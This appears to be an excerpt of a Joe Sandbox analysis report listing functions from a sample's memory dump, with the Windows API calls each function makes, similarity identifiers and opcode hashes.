Part of subcall function 003E3820: RtlAllocateHeap.NTDLL(00000000,?,00481444,?,003CFDF5,?,?,003BA976,00000010,00481440,003B13FC,?,003B13C6,?,003B1129), ref: 003E3852

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 718964d3456d3374b6eff855c06af928fdc60d689c73275452884733d5afcdd7
Instruction ID: 957ac35ca8f28f6ebb5a31a8a659755421606e2a6d8493c513ac1d50e5e318f6
Opcode Fuzzy Hash: 718964d3456d3374b6eff855c06af928fdc60d689c73275452884733d5afcdd7
Instruction Fuzzy Hash: CB31E572A0025AABDF26CF66DC85EAF7BA5EB41310F050269FC04DB291E735CD50CB90

Function 0041AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 0041ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0041AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0041AC74
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 0041ACC6

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 023765e81f10c9b20af97ce2061efd14d22360b16a2f5c4132da76ce891ff941
Instruction ID: 80432d03f76305ddd9fd2d358223994ada903a28b93746230a3d589bef4bbf7c
Opcode Fuzzy Hash: 023765e81f10c9b20af97ce2061efd14d22360b16a2f5c4132da76ce891ff941
Instruction Fuzzy Hash: F431F630A417186FEB35CB65C8087FB7BA5AB85310F08421BE485922D5E37D89E587DA

Function 004416DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 004416EB

Part of subcall function 00413A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00413A57
Part of subcall function 00413A3D: GetCurrentThreadId.KERNEL32 ref: 00413A5E
Part of subcall function 00413A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004125B3), ref: 00413A65

GetCaretPos.USER32(?), ref: 004416FF
ClientToScreen.USER32(00000000,?), ref: 0044174C
GetForegroundWindow.USER32 ref: 00441752

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 616d6717b556fca2a38d5e9578cd3e5f24c11cbae65d76c5fc79b02aded729e0
Instruction ID: 09da2796611196c959e246d495e628879fe723cff9981cdb64a81ca8f6237893
Opcode Fuzzy Hash: 616d6717b556fca2a38d5e9578cd3e5f24c11cbae65d76c5fc79b02aded729e0
Instruction Fuzzy Hash: 67316175D00109AFD701EFAAC8C1CEEB7F9EF48308B5480AAE515E7612D7359E45CBA0

Function 0041DF95 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 003B7620: _wcslen.LIBCMT ref: 003B7625

_wcslen.LIBCMT ref: 0041DFCB
_wcslen.LIBCMT ref: 0041DFE2
_wcslen.LIBCMT ref: 0041E00D
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0041E018

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: 7c0b28cbac9ac243db3b8b03604388f5071e3927ab4e664c3a3efd0d898b9b49
Instruction ID: eb59299eb1d09d4c4756ff6663b5d527a42ddc65d645f6ae5e28d2202e2bac12
Opcode Fuzzy Hash: 7c0b28cbac9ac243db3b8b03604388f5071e3927ab4e664c3a3efd0d898b9b49
Instruction Fuzzy Hash: 8D21D376D00224AFCB119FA8D981BAEBBF8EF49750F144066E805BF342D7749E41CBA5

Function 0041D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0044CB68), ref: 0041D2FB
GetLastError.KERNEL32 ref: 0041D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0041D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0044CB68), ref: 0041D376

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 6ed68a454a5ac548df2663cff0fb21d9b2000f1bb8688a7d5ec4628679e60a7d
Instruction ID: ca22d8af85581a154c27b5a3db66d003ed791445edd9a89f8f657ecebb1227e2
Opcode Fuzzy Hash: 6ed68a454a5ac548df2663cff0fb21d9b2000f1bb8688a7d5ec4628679e60a7d
Instruction Fuzzy Hash: 4121D6B49052059F8300DF24C8815EB77E4EE56318F144A5EF8A9C72A1D734D986CB9B

Function 00411571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00411014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0041102A
Part of subcall function 00411014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00411036
Part of subcall function 00411014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00411045
Part of subcall function 00411014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0041104C
Part of subcall function 00411014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00411062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 004115BE
_memcmp.LIBVCRUNTIME ref: 004115E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00411617
HeapFree.KERNEL32(00000000), ref: 0041161E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 174e362a498899a0311edc36c6c535038203a98a852d2251693e6bcd56b1fa95
Instruction ID: 14adfe01ffac4f89ceceac6a785de6eb48ff8090573c5e3bb9fee3fad3b2b453
Opcode Fuzzy Hash: 174e362a498899a0311edc36c6c535038203a98a852d2251693e6bcd56b1fa95
Instruction Fuzzy Hash: 2B21CF31E01108EFDF00DFA4C944BEFB7B9EF85344F08445AE501AB261E735AA84CBA4

Function 00442782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0044280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00442824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00442832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00442840

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 5f1fd435b1a9289aa400b30f96a7042be1d459ecb81c1b14b1e840e05b1eadad
Instruction ID: 052634b082dd5c7e2bffa87b4ba2b950c4bd317e115976b307fce7ceb8802bc1
Opcode Fuzzy Hash: 5f1fd435b1a9289aa400b30f96a7042be1d459ecb81c1b14b1e840e05b1eadad
Instruction Fuzzy Hash: B6213635205110AFE7109B24C940FAAB795AF46324F14825AF4168B6D2CBB5FC42CB94

Function 004178F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0041790A,?,000000FF,?,00418754,00000000,?,0000001C,?,?), ref: 00418D8C
Part of subcall function 00418D7D: lstrcpyW.KERNEL32(00000000,?,?,0041790A,?,000000FF,?,00418754,00000000,?,0000001C,?,?,00000000), ref: 00418DB2
Part of subcall function 00418D7D: lstrcmpiW.KERNEL32(00000000,?,0041790A,?,000000FF,?,00418754,00000000,?,0000001C,?,?), ref: 00418DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00418754,00000000,?,0000001C,?,?,00000000), ref: 00417923
lstrcpyW.KERNEL32(00000000,?,?,00418754,00000000,?,0000001C,?,?,00000000), ref: 00417949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00418754,00000000,?,0000001C,?,?,00000000), ref: 00417984

Strings

cdecl, xrefs: 0041797B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: f09f2c5ddc1119587c2673a3595a1039488997048f96f10d53cfacd6417257d9
Instruction ID: acfa9dc45c0465b961a17d9ffaf1c5acd717aa4b760e7e4efb004c9ca61922cb
Opcode Fuzzy Hash: f09f2c5ddc1119587c2673a3595a1039488997048f96f10d53cfacd6417257d9
Instruction Fuzzy Hash: ED11E47A200301ABDB159F35D844EBB77B5EF85350B10402FF906CB3A4EB359841C799

Function 00447CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00447D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00447D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00447D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0042B7AD,00000000), ref: 00447D6B

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: fb4ec7616f9ee17d5a0b0fd862ededdda92b1a0bcae0e2cf3075cc5f56ee73ad
Instruction ID: 9502a619f76581275ba4b5a0a5738d3d65811a338fe4e85a7843c42d84d4f202
Opcode Fuzzy Hash: fb4ec7616f9ee17d5a0b0fd862ededdda92b1a0bcae0e2cf3075cc5f56ee73ad
Instruction Fuzzy Hash: 8C11D271615614AFDB109F28CC44E6A3BA9AF46360B15873AF839C72F0D7348D12CB48

Function 00445660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 004456BB
_wcslen.LIBCMT ref: 004456CD
_wcslen.LIBCMT ref: 004456D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00445816

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: b5ee43619cffe3519101d017e9ef930069bd2b7b7f717f16a1f7be6ec4ef52c2
Instruction ID: b9751d70f265d9cf5aee5b66006f917edc624abbadfa23e19d26e2d2460d0993
Opcode Fuzzy Hash: b5ee43619cffe3519101d017e9ef930069bd2b7b7f717f16a1f7be6ec4ef52c2
Instruction Fuzzy Hash: 3C11B475600604A7EF20EF61DC85AEF776CAF11764B104027F915DA182E778C985CB69

Function 003E1D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129001ad10a4a4e35fe87c46786c93ef989c88db0b4209e86cecb6e615fdf0be
Instruction ID: 8a21bd9586e64a3c6367a1b59faaf1cffeef4cf3329d87d3ca2f3e767a497108
Opcode Fuzzy Hash: 129001ad10a4a4e35fe87c46786c93ef989c88db0b4209e86cecb6e615fdf0be
Instruction Fuzzy Hash: 3501A2B22056AA7EF662167A6CC1F77661CDF823B8B360729F521551D2DB718C005160

Function 00411A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00411A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00411A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00411A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00411A8A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 2020f0f188c1cdfff2488fca5808ebd5638fe5ba450cd266578fc183b123b451
Instruction ID: da57bcb0c39a388bafd6d9ea33f23ecc3550f3126298bea19df1e42e38bf2310
Opcode Fuzzy Hash: 2020f0f188c1cdfff2488fca5808ebd5638fe5ba450cd266578fc183b123b451
Instruction Fuzzy Hash: D211FA3A901219FFEB119BA5C985FEDBB78EF04750F200096EA04B7290D6716E51DB98

Function 0041E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0041E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0041E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0041E24D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 47f3825189c9ea1c5667e46978ad20236020bd7a9490823534958dcad7d251c5
Instruction ID: 9d1baa718632d7e97857ea4d91b0c8d1045588b61d85e75e7ab9eb083f584782
Opcode Fuzzy Hash: 47f3825189c9ea1c5667e46978ad20236020bd7a9490823534958dcad7d251c5
Instruction Fuzzy Hash: 89112B7AA04254BBD7019FA99C45ADF7FAC9B46310F14467BFC14D3391D2B4CD0087A8

Function 003DD1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,003DCFF9,00000000,00000004,00000000), ref: 003DD218
GetLastError.KERNEL32 ref: 003DD224
__dosmaperr.LIBCMT ref: 003DD22B
ResumeThread.KERNEL32(00000000), ref: 003DD249

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: f86100e9109a7c1dc44c31905c445cd205709a11e9fadcbb507bd2536619570f
Instruction ID: 61147b571caebada96c2fc4b7fb175762af1469bbe444c94741d0b004273230c
Opcode Fuzzy Hash: f86100e9109a7c1dc44c31905c445cd205709a11e9fadcbb507bd2536619570f
Instruction Fuzzy Hash: 3801D6378051047BC7125BA5EC45BAA7A6DEF82330F11062AF925962D0CB718901C7A0

Function 00449EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

GetClientRect.USER32(?,?), ref: 00449F31
GetCursorPos.USER32(?), ref: 00449F3B
ScreenToClient.USER32(?,?), ref: 00449F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00449F7A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 2fc3ae184a98956dc9647bafac28a946dc728095e8aaf2484d931af9b57bb77a
Instruction ID: 7d17c14add1a6f452c04f25d2b6bbd42450de0f1a24d2b220fcf7c1c9cab9d40
Opcode Fuzzy Hash: 2fc3ae184a98956dc9647bafac28a946dc728095e8aaf2484d931af9b57bb77a
Instruction Fuzzy Hash: 89113A3550111AABEB00DF59D8859EF77B8FB45311F000466F901E3150D738BE86DBA9

Function 003B600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 003B604C
GetStockObject.GDI32(00000011), ref: 003B6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 003B606A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 68c8180e1a7402be1096ade1ae8859b09b5519dffa7f9063bc7122d1a5386f43
Instruction ID: 29638d6087a3ae17534d30918c02bd8bf42a5ebed79f1bd5811bf6e35bb4382b
Opcode Fuzzy Hash: 68c8180e1a7402be1096ade1ae8859b09b5519dffa7f9063bc7122d1a5386f43
Instruction Fuzzy Hash: AE11AD72506509BFEF126FA58C85EFABB6DEF093A8F050216FB0452021D7369C60DBA0

Function 003D3B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 003D3B56

Part of subcall function 003D3AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 003D3AD2
Part of subcall function 003D3AA3: ___AdjustPointer.LIBCMT ref: 003D3AED

_UnwindNestedFrames.LIBCMT ref: 003D3B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 003D3B7C
CallCatchBlock.LIBVCRUNTIME ref: 003D3BA4

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 41e4a5f51c487ca35437ab9abbc2382265f1fbd4bcf222199f1a363e8612fdc1
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 22012933100148BBDF125F95EC46EEB3B69FF48794F05401AFE485A221C732E961EBA1

Function 003E3073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,003B13C6,00000000,00000000,?,003E301A,003B13C6,00000000,00000000,00000000,?,003E328B,00000006,FlsSetValue), ref: 003E30A5
